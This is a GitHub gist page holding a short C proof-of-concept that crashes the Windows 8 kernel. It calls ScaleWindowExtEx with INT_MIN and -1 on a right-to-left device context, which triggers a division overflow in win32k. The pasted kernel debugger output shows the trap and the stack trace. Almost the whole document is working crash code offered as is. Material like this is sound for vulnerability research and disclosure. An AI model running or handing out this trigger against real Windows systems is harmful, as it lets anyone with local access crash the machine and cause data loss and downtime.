Skip to content

Instantly share code, notes, and snippets.

@taviso
Last active May 9, 2016 12:51
Show Gist options
  • Star 10 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save taviso/4658638 to your computer and use it in GitHub Desktop.
Save taviso/4658638 to your computer and use it in GitHub Desktop.
Apparently win32k is not Chuck Norris.
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <stddef.h>
#include <winnt.h>
#include <limits.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>
#pragma comment(lib, "gdi32")
#pragma comment(lib, "user32")
int main(int argc, char **argv)
{
HDC Device;
SIZE Size;
Device = CreateCompatibleDC(NULL);
// Change horizontal layout so we can flip them.
SetLayout(Device, LAYOUT_RTL);
// Lololololololol..
ScaleWindowExtEx(Device, INT_MIN, -1, 1, 1, &Size);
// kd> vertarget
// Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
// Product: WinNt, suite: TerminalServer SingleUserTS
// Built by: 9200.16384.x86fre.win8_rtm.120725-1247
// Machine Name:
// Kernel base = 0x81a5a000 PsLoadedModuleList = 0x81c44de8
// Debug session time: Mon Jan 28 12:10:37.216 2013 (UTC - 8:00)
// System Uptime: 0 days 0:06:15.595
// kd> .trap 9df1baf8
// ErrCode = 00000000
// eax=80000000 ebx=8e07fac7 ecx=94eedaf8 edx=ffffffff esi=94eed720 edi=9df1bbd4
// eip=8e0763cc esp=9df1bb6c ebp=9df1bba4 iopl=0 ov up ei ng nz na pe cy
// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010a87
// win32k!GreScaleWindowExtEx+0x8f:
// 8e0763cc f77d10 idiv eax,dword ptr [ebp+10h] ss:0010:9df1bbb4=ffffffff
// kd> kv
// *** Stack trace for last set context - .thread/.cxr resets it
// ChildEBP RetAddr Args to Child
// 9df1bba4 8e07faeb 600107ba 80000000 ffffffff win32k!GreScaleWindowExtEx+0x8f (FPO: [Non-Fpo])
// 9df1bbf4 81bc52fc 600107ba 80000000 ffffffff win32k!NtGdiScaleWindowExtEx+0x24 (FPO: [Non-Fpo])
// 9df1bbf4 77b96954 600107ba 80000000 ffffffff nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ 9df1bc14)
// 00a8faec 7634515b 76346d4b 600107ba 80000000 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
// 00a8faf0 76346d4b 600107ba 80000000 ffffffff GDI32!NtGdiScaleWindowExtEx+0xa (FPO: [6,0,0])
// 00a8fb28 00f91036 600107ba 80000000 ffffffff GDI32!ScaleWindowExtEx+0xeb (FPO: [Non-Fpo])
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment